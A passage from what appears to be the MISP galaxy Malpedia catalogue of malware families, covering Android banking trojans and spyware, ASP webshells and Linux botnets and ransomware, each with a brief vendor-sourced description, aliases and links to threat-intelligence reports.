on mobile, and money in deposit), via a banking trojan they named TgToxic (based on its special encrypted filename) embedded in multiple fake apps. While previously targeting users in Taiwan, Trend Micro observed the fraudulent activities and phishing lures targeting users from Thailand and Indonesia as of this writing. Users are advised to be wary of opening embedded links from unknown email and message senders, and to avoid downloading apps from third party platforms.

The tag is: *misp-galaxy:malpedia="TgToxic"*

TgToxic is also known as:

Table 2331. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tgtoxic
https://www.trendmicro.com/en_us/research/23/b/tgtoxic-malware-targets-southeast-asia-android-users.html
https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study
https://intel471.com/blog/android-trojan-tgtoxic-updates-its-capabilities

ThiefBot

The tag is: *misp-galaxy:malpedia="ThiefBot"*

ThiefBot is also known as:

Table 2332. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.thiefbot
https://business.xunison.com/thiefbot-a-new-android-banking-trojan-targeting-turkish-banking-users/

TianySpy

According to Trend Micro, this malware appears to have been designed to steal credentials associated with membership websites of major Japanese telecommunication services.

The tag is: *misp-galaxy:malpedia="TianySpy"*

TianySpy is also known as:

Table 2333. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tianyspy
https://www.trendmicro.com/en_us/research/22/a/tianyspy-malware-uses-smishing-disguised-as-message-from-telco.html

TinyZ

The tag is: *misp-galaxy:malpedia="TinyZ"*

TinyZ is also known as:

- Catelites Android Bot
- MarsElite Android Bot

Table 2334. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tinyz
http://blog.group-ib.com/cron

Titan

The tag is: *misp-galaxy:malpedia="Titan"*

Titan is also known as:

Table 2335. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.titan
https://www.alienvault.com/blogs/labs-research/delivery-keyboy
https://blog.lookout.com/titan-mobile-threat

ToxicPanda

ToxicPanda is an Android banking RAT first identified by Cleafy in October 2024. It shows similarity to the TgToxic campaign, but appears to be a new development rather than a derivative. The threat actors are likely Chinese speakers. ToxicPanda initially made use of hardcoded C2 domains only, but started to incorporate a DGA in late 2024.

The tag is: *misp-galaxy:malpedia="ToxicPanda"*

ToxicPanda is also known as:

Table 2336. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.toxic_panda
https://www.cleafy.com/cleafy-labs/toxicpanda-a-new-banking-trojan-from-asia-hit-europe-and-latam
https://www.bitsight.com/blog/toxicpanda-android-banking-malware-2025-study

Triada

Triada is a remote access trojan (RAT) malware that is used to compromise Android devices in order to steal confidential and sensitive information such as credit card numbers, passwords, bank account information, etc. It also provides a backdoor for attackers to include the device as part of a botnet and perform other malicious activities.

The tag is: *misp-galaxy:malpedia="Triada"*

Triada is also known as:

Table 2337. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triada
https://securelist.com/apkpure-android-app-store-infected/101845/
https://www.nowsecure.com/blog/2016/11/21/android-malware-analysis-radare-triada-trojan/
https://blog.checkpoint.com/2016/06/17/in-the-wild-mobile-malware-implements-new-features/
http://contagiominidump.blogspot.de/2016/07/android-triada-modular-trojan.html
https://securelist.com/mobile-malware-evolution-2019/96280/
https://securelist.com/attack-on-zygote-a-new-twist-in-the-evolution-of-mobile-threats/74032/
https://securelist.com/everyone-sees-not-what-they-want-to-see/74997/
https://securelist.com/triada-trojan-in-whatsapp-mod/103679/
https://arstechnica.com/information-technology/2019/06/google-confirms-2017-supply-chain-attack-that-sneaked-backdoor-on-android-devices/
https://security.googleblog.com/2019/06/pha-family-highlights-triada.html

TrickMo

TrickMo is an advanced banking trojan for Android. Starting out as a companion malware to TrickBot in 2020, it first became a standalone banking trojan by addition of overlay attacks in 2021 and was later (2024) upgraded with remote control capabilities for on-device fraud. The continued development and progressively improved obfuscation suggests an active Threat Actor.

The tag is: *misp-galaxy:malpedia="TrickMo"*

TrickMo is also known as:

Table 2338. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.trickmo
https://cyble.com/blog/trickmos-return-banking-trojan-resurgence-with-new-features/

https://www.zimperium.com/blog/expanding-the-investigation-deep-dive-into-latest-trickmo-samples/
https://www.cleafy.com/cleafy-labs/a-new-trickmo-saga-from-banking-trojan-to-victims-data-leak
https://medium.com/@mvaks/analysis-of-malicious-mobile-applications-impersonating-popular-polish-apps-olx-allegro-iko-7dab879a320d
https://securityintelligence.com/posts/trickbot-pushing-a-2fa-bypass-app-to-bank-customers-in-germany/

Triout

Bitdefender described Triout as a Android spyware, which appears to act as a framework for building extensive surveillance capabilities into seemingly benign applications. Found bundled with a repackaged app, the spyware's surveillance capabilities involve hiding its presence on the device, recording phone calls, logging incoming text messages, recoding videos, taking pictures and collecting GPS coordinates, then broadcasting all of that to an attacker-controlled C&C (command and control) server.

The tag is: *misp-galaxy:malpedia="Triout"*

Triout is also known as:

Table 2339. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.triout

TsarBot

According to Cyble, this is a banking trojan that targets over 750 applications globally, including banking, finance, cryptocurrency, and e-commerce apps. The malware spreads via phishing sites masquerading as legitimate financial platforms and is installed through a dropper disguised as Google Play Services. It uses overlay attacks to steal banking credentials, credit card details, and login credentials by displaying fake login pages over legitimate apps. TsarBot can record and remotely control the screen, executing fraud by simulating user actions such as swiping, tapping, and entering credentials while hiding malicious activities using a black overlay screen. It captures device lock credentials using a fake lock screen to gain full control. TsarBot communicates with its C&C server using WebSocket across multiple ports to receive commands, send stolen data, and dynamically execute on-device fraud.

The tag is: *misp-galaxy:malpedia="TsarBot"*

TsarBot is also known as:

Table 2340. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.tsarbot

https://cyble.com/blog/tsarbot-using-overlay-attacks-targeting-bfsi-sector/

UltimaSMS

The tag is: *misp-galaxy:malpedia="UltimaSMS"*

UltimaSMS is also known as:

Table 2341. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ultima_sms
https://blog.avast.com/premium-sms-scam-apps-on-play-store-avast

Unidentified APK 001

The tag is: *misp-galaxy:malpedia="Unidentified APK 001"*

Unidentified APK 001 is also known as:

Table 2342. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_001
https://www.welivesecurity.com/2017/02/14/new-android-trojan-mimics-user-clicks-download-dangerous-malware/

Unidentified APK 002

The tag is: *misp-galaxy:malpedia="Unidentified APK 002"*

Unidentified APK 002 is also known as:

Table 2343. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_002

Unidentified APK 004

According to Check Point Research, this is a RAT that is disguised as a set of dating apps like "GrixyApp", "ZatuApp", "Catch&See", including dedicated websites to conceal their malicious purpose.

The tag is: *misp-galaxy:malpedia="Unidentified APK 004"*

Unidentified APK 004 is also known as:

Table 2344. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_004
https://research.checkpoint.com/2020/hamas-android-malware-on-idf-soldiers-this-is-how-it-happened/

Unidentified APK 005

The tag is: *misp-galaxy:malpedia="Unidentified APK 005"*

Unidentified APK 005 is also known as:

Table 2345. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_005

Unidentified APK 006

Information stealer posing as a fake banking app, targeting Korean users.

The tag is: *misp-galaxy:malpedia="Unidentified APK 006"*

Unidentified APK 006 is also known as:

Table 2346. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_006
https://twitter.com/MsftSecIntel/status/1441524497924833282?s=20
https://twitter.com/ReBensk/status/1438027183490940931
https://blog.cyble.com/2021/09/17/sophisticated-spyware-posing-as-a-banking-application-to-target-korean-users/
https://medium.com/@ThreatMiner/android-trojan-targeting-korean-demographic-using-github-for-c2-8219fc39f749

Unidentified 007 (ARMAAN RAT)

According to Cyble, this is an Android application that pretends to be the legitimate application for the Army Mobile Aadhaar App Network (ARMAAN), intended to be used by Indian army personnel. The application was customized to include RAT functionality.

The tag is: *misp-galaxy:malpedia="Unidentified 007 (ARMAAN RAT)"*

Unidentified 007 (ARMAAN RAT) is also known as:

Table 2347. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_007
https://blog.cyble.com/2022/01/28/indian-army-personnel-face-remote-access-trojan-attacks/

Unidentified APK 008

Android malware distributed through fake shopping websites targeting Malaysian users, targeting banking information.

The tag is: *misp-galaxy:malpedia="Unidentified APK 008"*

Unidentified APK 008 is also known as:

Table 2348. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_008
https://www.welivesecurity.com/2022/04/06/fake-eshops-prowl-banking-credentials-android-malware/

Unidentified APK 009 (Chrome Recon)

According to Google, a Chrome reconnaissance payload

The tag is: *misp-galaxy:malpedia="Unidentified APK 009 (Chrome Recon)"*

Unidentified APK 009 (Chrome Recon) is also known as:

Table 2349. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.unidentified_009
https://blog.google/threat-analysis-group/state-backed-attackers-and-commercial-surveillance-vendors-repeatedly-use-the-same-exploits/

VajraSpy

The tag is: *misp-galaxy:malpedia="VajraSpy"*

VajraSpy is also known as:

Table 2350. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vajraspy

https://mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww
https://twitter.com/LukasStefanko/status/1509451238366236674
https://twitter.com/malwrhunterteam/status/1481312752782258176

vamp

Related to the micropsia windows malware and also sometimes named micropsia.

The tag is: *misp-galaxy:malpedia="vamp"*

vamp is also known as:

- android.micropsia

Table 2351. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vamp
https://unit42.paloaltonetworks.com/unit42-targeted-attacks-middle-east-using-kasperagent-micropsia/

VINETHORN

According to Mandiant, VINETHORN is an Android malware family capable of a wide range of backdoor functionality. It can steal system information, read SMS inboxes, send SMS messages, access contact lists and call histories, record audio and video, and track device location via GPS.

The tag is: *misp-galaxy:malpedia="VINETHORN"*

VINETHORN is also known as:

Table 2352. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vinethorn
https://www.mandiant.com/media/17826
https://socradar.io/dark-web-profile-apt42-iranian-cyber-espionage-group/

Viper RAT

The tag is: *misp-galaxy:malpedia="Viper RAT"*

Viper RAT is also known as:

Table 2353. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/apk.viper_rat
https://about.fb.com/wp-content/uploads/2021/04/Technical-threat-report-Arid-Viper-April-2021.pdf
https://securelist.com/blog/incidents/77562/breaking-the-weakest-link-of-the-strongest-chain/
https://blog.lookout.com/blog/2017/02/16/viperrat-mobile-apt/

vo1d

According to Xlab, this malware is used to compromise Android TVs and set-top boxes, and its corresponding botnet had more than 1 million nodes observed via sinkholing (Jan 2025).

The tag is: *misp-galaxy:malpedia="vo1d"*

vo1d is also known as:

Table 2354. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vo1d
https://blog.xlab.qianxin.com/long-live-the-vo1d_botnet/
https://news.drweb.com/show/?i=14900

Vultur

The tag is: *misp-galaxy:malpedia="Vultur"*

Vultur is also known as:

- Vulture

Table 2355. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.vultur
https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html
https://embeeresearch.io/infrastructure-tracking-locating-vultur-domains-with-passive-dns/
https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud
https://blog.fox-it.com/2024/03/28/android-malware-vultur-expands-its-wingspan
https://twitter.com/*icebre4ker*/status/1485651238175846400
https://www.threatfabric.com/blogs/vultur-v-for-vnc.html

WireX

The tag is: *misp-galaxy:malpedia="WireX"*

WireX is also known as:

Table 2356. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wirex
https://therecord.media/turkish-national-charged-for-ddos-attacks-with-the-wirex-botnet/
https://krebsonsecurity.com/2017/08/tech-firms-team-up-to-take-down-wirex-android-ddos-botnet/
https://www.flashpoint-intel.com/blog/wirex-botnet-industry-collaboration/
https://www.justice.gov/usao-ndil/pr/federal-indictment-chicago-charges-turkish-national-directing-cyber-attack

WolfRAT

The tag is: *misp-galaxy:malpedia="WolfRAT"*

WolfRAT is also known as:

Table 2357. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wolf_rat
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://blog.talosintelligence.com/2020/05/the-wolf-is-back.html

Wroba

According to Avira, this is a banking trojan targeting Japan.

The tag is: *misp-galaxy:malpedia="Wroba"*

Wroba is also known as:

Table 2358. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wroba
https://www.avira.com/en/blog/the-android-banking-trojan-wroba-shifts-attack-from-south-korea-to-target-users-in-japan
https://securelist.com/roaming-mantis-reaches-europe/105596/

WyrmSpy

The tag is: *misp-galaxy:malpedia="WyrmSpy"*

WyrmSpy is also known as:

- AndroidControl

Table 2359. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.wyrmspy
https://cryptax.medium.com/organizing-malware-analysis-with-colander-example-on-android-wyrmspy-1f3ec30ae33b
https://www.lookout.com/threat-intelligence/article/wyrmspy-dragonegg-surveillanceware-apt41
https://www.threatfabric.com/blogs/lightspy-mapt-mobile-payment-system-attack

Xbot

The tag is: *misp-galaxy:malpedia="Xbot"*

Xbot is also known as:

Table 2360. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xbot
https://blog.avast.com/2015/02/17/angry-android-hacker-hides-xbot-malware-in-popular-application-icons/
https://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/

Xenomorph

Xenomorph is a Android Banking RAT developed by the Hadoken.Security actor.

The tag is: *misp-galaxy:malpedia="Xenomorph"*

Xenomorph is also known as:

Table 2361. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xenomorph
https://www.threatfabric.com/blogs/bugdrop-new-dropper-bypassing-google-security-measures.html

https://www.threatfabric.com/blogs/xenomorph-a-newly-hatched-banking-trojan.html
https://www.threatfabric.com/blogs/xenomorph-v3-new-variant-with-ats.html
https://www.zscaler.com/blogs/security-research/rise-banking-trojan-dropper-google-play-0
https://cryptax.medium.com/unpacking-a-jsonpacker-packed-sample-4038e12119f5
https://www.threatfabric.com/blogs/zombinder-ermac-and-desktop-stealers.html

xHelper

Xhelper is a very persistent malware that can reinstall itself after factory reset, Xhelper downloads malicious apps and displays annoying ads.

The tag is: *misp-galaxy:malpedia="xHelper"*

xHelper is also known as:

Table 2362. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xhelper
https://securelist.com/unkillable-xhelper-and-a-trojan-matryoshka/96487/

XploitSPY

The tag is: *misp-galaxy:malpedia="XploitSPY"*

XploitSPY is also known as:

Table 2363. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xploitspy
https://twitter.com/malwrhunterteam/status/1249768400806653952
https://www.welivesecurity.com/en/eset-research/exotic-visit-campaign-tracing-footprints-virtual-invaders/

XRat

The tag is: *misp-galaxy:malpedia="XRat"*

XRat is also known as:

Table 2364. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.xrat

https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_202_niwa-yanagishita_en.pdf
https://asec.ahnlab.com/en/59590/
https://blog.lookout.com/xrat-mobile-threat

YellYouth

The tag is: *misp-galaxy:malpedia="YellYouth"*

YellYouth is also known as:

Table 2365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.yellyouth
https://www.mulliner.org/blog/blosxom.cgi/security/yellyouth_android_malware.html

Zanubis

According to cyware, Zanubis malware pretends to be a malicious PDF application. The threat actor uses it as a key to decrypt responses received from the C2 server.

The tag is: *misp-galaxy:malpedia="Zanubis"*

Zanubis is also known as:

Table 2366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zanubis
https://labs.k7computing.com/index.php/an-upsurge-of-new-android-banking-trojan-zanubis/

Zen

The tag is: *misp-galaxy:malpedia="Zen"*

Zen is also known as:

Table 2367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zen
https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html

ZooPark

The tag is: *misp-galaxy:malpedia="ZooPark"*

ZooPark is also known as:

Table 2368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.zoopark
https://securelist.com/whos-who-in-the-zoo/85394
https://securelist.com/whos-who-in-the-zoo/85394/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/05/03114450/ZooPark_for_public_final_edit.pdf
https://www.secureworks.com/research/threat-profiles/cobalt-juno
https://securelist.com/apt-trends-report-q2-2019/91897/

Ztorg

The tag is: *misp-galaxy:malpedia="Ztorg"*

Ztorg is also known as:

- Qysly

Table 2369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/apk.ztorg
http://blog.fortinet.com/2017/03/08/teardown-of-android-ztorg-part-2
https://securelist.com/ztorg-from-rooting-to-sms/78775/
https://blog.fortinet.com/2017/03/15/teardown-of-a-recent-variant-of-android-ztorg-part-1

LocalOlive

According to Microsoft, this is a web shell, written in ASPX supporting C#, carrying sufficient yet rudimentary functionality to support the following secondary activities: uploading and downloading files, running shell commands, opening a port (default port is set to TCP 250).

The tag is: *misp-galaxy:malpedia="LocalOlive"*

LocalOlive is also known as:

Table 2370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.localolive
https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/

Nightrunner

WebShell.

The tag is: *misp-galaxy:malpedia="Nightrunner"*

Nightrunner is also known as:

Table 2371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.nightrunner
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/

Tunna

WebShell.

The tag is: *misp-galaxy:malpedia="Tunna"*

Tunna is also known as:

Table 2372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.tunna
https://research.checkpoint.com/2023/from-albania-to-the-middle-east-the-scarred-manticore-is-listening/
https://securelist.com/defttorero-tactics-techniques-and-procedures/107610/

TwoFace

According to Unit42, TwoFace is a two-staged (loader+payload) webshell, written in C# and meant to run on webservers with ASP.NET. The author of the initial loader webshell included legitimate and expected content that will be displayed if a visitor accesses the shell in a browser, likely to remain undetected. The code in the loader webshell includes obfuscated variable names and the embedded payload is encoded and encrypted. To interact with the loader webshell, the threat actor uses HTTP POST requests to the compromised server.

The secondary webshell, which we call the payload, is embedded within the loader in encrypted form and contains additional functionality that we will discuss in further detail. When the threat actor wants to interact with the remote server, they provide data that the loader will use to modify a decryption key embedded within the loader that will be in turn used to decrypt the embedded TwoFace payload. Commands supported by the payload are execution of programs, up-, download and deletion of files and capability to manipulate MAC timestamps.

The tag is: *misp-galaxy:malpedia="TwoFace"*

TwoFace is also known as:

- HighShell
- HyperShell
- Minion
- SEASHARPEE

Table 2373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.twoface
https://www.zdnet.com/article/source-code-of-iranian-cyber-espionage-tools-leaked-on-telegram/
https://unit42.paloaltonetworks.com/unit42-oilrig-performs-tests-twoface-webshell/
https://www.secureworks.com/research/threat-profiles/cobalt-gypsy
https://unit42.paloaltonetworks.com/unit42-twoface-webshell-persistent-access-point-lateral-movement/
https://web.archive.org/web/20200307113010/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947864.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1536345486.pdf
https://go.recordedfuture.com/hubfs/reports/mtp-2021-1214.pdf
https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae
https://www.youtube.com/watch?time_continue=1333&v=1CGAmjAV8nI
https://go.recordedfuture.com/hubfs/reports/cta-2020-0312.pdf
https://www.recordedfuture.com/full-spectrum-detections-five-popular-web-shells/
https://www.cyber.gov.au/sites/default/files/2020-06/ACSC-Advisory-2020-008-Copy-Paste-Compromises.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/incident-response-polar-ransomware-apt27/
https://unit42.paloaltonetworks.com/atoms/evasive-serpens/
https://www.youtube.com/watch?v=GjquFKa4afU
https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view

Unidentified ASP 001 (Webshell)

The tag is: *misp-galaxy:malpedia="Unidentified ASP 001 (Webshell)"*

Unidentified ASP 001 (Webshell) is also known as:

Table 2374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/asp.unidentified_001

Abcbot

Abcbot is a modular Go-based botnet and malware that propagates via exploits and brute force attempts. The botnet was observed launching DDoS attacks, perform internet scans, and serve web pages. It is probably linked to Xanthe-based clipjacking campaign.

The tag is: *misp-galaxy:malpedia="Abcbot"*

Abcbot is also known as:

Table 2375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.abcbot
https://www.lacework.com/blog/abc-botnet-attacks-on-the-rise/
https://blog.netlab.360.com/abcbot_an_evolving_botnet_en/
https://www.cadosecurity.com/the-continued-evolution-of-abcbot/
https://www.cadosecurity.com/abcbot-an-evolution-of-xanthe/

Abyss Locker

Family based on HelloKitty Ransomware. Encryption algorithm changed from AES to ChaCha. Sample seems to be unpacked.

The tag is: *misp-galaxy:malpedia="Abyss Locker"*

Abyss Locker is also known as:

- elf.hellokitty

Table 2376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.abyss
https://www.bleepingcomputer.com/news/security/linux-version-of-abyss-locker-ransomware-targets-vmware-esxi-servers/
https://idanmalihi.com/revealing-the-abyss-ransomware/

ACBackdoor (ELF)

A Linux backdoor that was apparently ported to Windows. This entry represents the Linux version. This version appears to have been written first and the Windows version was ported later, without

full functionality. The Linux version offers persistence as well as some process manipulation techniques, though both versions apparently offer the ability to access the command line and execute programs as well as self-update.

The tag is: *misp-galaxy:malpedia="ACBackdoor (ELF)"*

ACBackdoor (ELF) is also known as:

Table 2377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.acbackdoor
https://www.bleepingcomputer.com/news/security/linux-windows-users-targeted-with-new-acbackdoor-malware/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba

AcidPour

The tag is: *misp-galaxy:malpedia="AcidPour"*

AcidPour is also known as:

Table 2378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidpour
https://twitter.com/juanandres_gs/status/1769726024600768959
https://www.trellix.com/blogs/research/pouring-acid-rain/

AcidRain

A MIPS ELF binary with wiper functionality used against Viasat KA-SAT modems.

The tag is: *misp-galaxy:malpedia="AcidRain"*

AcidRain is also known as:

Table 2379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.acidrain
https://www.splunk.com/en_us/blog/security/threat-update-acidrain-wiper.html
https://www.techtimes.com/articles/273755/20220331/viasat-hit-russia-s-wiper-malware-called-acidrain-affecting-european.htm

https://www.reversemode.com/2022/03/viasat-incident-from-speculation-to.html
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://www.bleepingcomputer.com/news/security/viasat-confirms-satellite-modems-were-wiped-with-acidrain-malware/
https://www.sentinelone.com/labs/acidrain-a-modem-wiper-rains-down-on-europe/
https://www.trellix.com/blogs/research/pouring-acid-rain/
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cybersecuritynews.com/acidrain-wiper-malware/
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://www.youtube.com/watch?v=mrTdSdMMgnk
https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/

AgeLocker

The tag is: *misp-galaxy:malpedia="AgeLocker"*

AgeLocker is also known as:

Table 2380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.age_locker
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://twitter.com/IntezerLabs/status/1326880812344676352
https://therecord.media/qnap-warns-of-agelocker-ransomware-attacks-against-nas-devices/

AIRASHI

According to Xlab, this is a DDoS bot.

The tag is: *misp-galaxy:malpedia="AIRASHI"*

AIRASHI is also known as:

Table 2381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.airashi

https://blog.apnic.net/2025/03/13/botnets-never-die/
https://blog.xlab.qianxin.com/large-scale-botnet-airashi/
https://krebsonsecurity.com/2025/05/krebsonsecurity-hit-with-near-record-6-3-tbps-ddos/

AirDropBot

AirDropBot is used to create a DDoS botnet. It spreads as a worm, currently targeting Linksys routers. Backdoor and other bot functionality is present in this family. Development seems to be ongoing.

The tag is: *misp-galaxy:malpedia="AirDropBot"*

AirDropBot is also known as:

- CloudBot

Table 2382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.airdrop
https://blog.malwaremustdie.org/2019/09/mmd-0064-2019-linuxairdropbot.html

Aisuru

Honeypot-aware variant of Mirai.

The tag is: *misp-galaxy:malpedia="Aisuru"*

Aisuru is also known as:

Table 2383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.aisuru
https://blog.xlab.qianxin.com/large-scale-botnet-airashi/
https://cybernews.com/security/steam-riot-gaming-services-hit-by-disruptions-ddos-suspected/
https://cyberch.com/posts/aisuru-botnet-shifts-from-ddos-to-residential-proxies/
https://krebsonsecurity.com/2025/05/krebsonsecurity-hit-with-near-record-6-3-tbps-ddos/
https://blog.xlab.qianxin.com/super-large-scale-botnet-aisuru-en/
https://insights.oem.avira.com/new-mirai-variant-aisuru-detects-cowrie-opensource-honeypots/
https://gist.github.com/heavyscientist/de6a7c14e68b5862734b94a3c10e574c
https://blog.apnic.net/2025/03/13/botnets-never-die/
https://krebsonsecurity.com/2025/10/aisuru-botnet-shifts-from-ddos-to-residential-proxies/

https://x.com/DarkWebInformer/status/1983679959924383956
https://www.bleepingcomputer.com/news/security/cloudflare-mitigates-new-record-breaking-222-tbps-ddos-attack/
https://krebsonsecurity.com/2025/10/ddos-botnet-aisuru-blankets-us-isps-in-record-ddos/
https://krebsonsecurity.com/2025/11/cloudflare-scrubs-aisuru-botnet-from-top-domains-list/
https://www.forescout.com/blog/targeting-ot-security-ics-threats-malware/

Akira (ELF)

Ransomware

The tag is: *misp-galaxy:malpedia="Akira (ELF)"*

Akira (ELF) is also known as:

- REDBIKE

Table 2384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.akira
https://www.security-chu.com/2025/05/entidades-negociando-con-el-grupo-akira-ransomware.html
https://arcticwolf.com/resources/blog/smash-and-grab-aggressive-akira-campaign-targets-sonicwall-vpns/
https://www.loginsoft.com/post/akira-ransomware-the-evolution-of-a-major-threat
https://zensec.co.uk/blog/unmasking-akira-the-ransomware-tactics-you-cant-afford-to-ignore/
https://malwareanalysisspace.blogspot.com/2025/03/akira-ransomware-expands-to-linux.html
https://www.microsoft.com/en-us/security/blog/2023/10/11/automatic-disruption-of-human-operated-attacks-through-containment-of-compromised-user-accounts/
https://services.google.com/fh/files/misc/m-trends-2025-en.pdf
https://www.trellix.com/en-us/about/newsroom/stories/research/akira-ransomware.html
https://medium.com/@DCSO_CyTec/unransomware-from-zero-to-full-recovery-in-a-blink-8a47dd031df3
https://arcticwolf.com/resources/blog/arctic-wolf-labs-observes-increased-fog-and-akira-ransomware-activity-linked-to-sonicwall-ssl-vpn/
https://labs.k7computing.com/index.php/akiras-play-with-linux/
https://tinyhack.com/2025/03/13/decrypting-encrypted-files-from-akira-ransomware-linux-esxi-variant-2024-using-a-bunch-of-gpus/
https://research.checkpoint.com/2024/inside-akira-ransomwares-rust-experiment/

AnchorDNS

Backdoor deployed by the TrickBot actors. It uses DNS as the command and control channel as well as for exfiltration of data.

The tag is: *misp-galaxy:malpedia="AnchorDNS"*

AnchorDNS is also known as:

Table 2385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.anchor_dns
https://www.netscout.com/blog/asert/dropping-anchor
https://us-cert.cisa.gov/sites/default/files/publications/AA20-302A_Ransomware%20_Activity_Targeting_the_Healthcare_and_Public_Health_Sector.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/
https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/
https://securityintelligence.com/posts/new-malware-trickbot-anchordns-backdoor-upgrades-anchormail/
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://cyware.com/news/trickbots-anchordns-is-now-upgraded-to-anchormail-a21f5490/
https://www.domaintools.com/resources/blog/finding-anchordns-c2s-with-iris-investigate
https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30
https://hello.global.ntt/en-us/insights/blog/trickbot-variant-communicating-over-dns

ANGRYREBEL

The tag is: *misp-galaxy:malpedia="ANGRYREBEL"*

ANGRYREBEL is also known as:

- Ghost RAT

Table 2386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.angryrebel
https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf
https://www.secureworks.com/research/threat-profiles/bronze-olive

Auto-Color

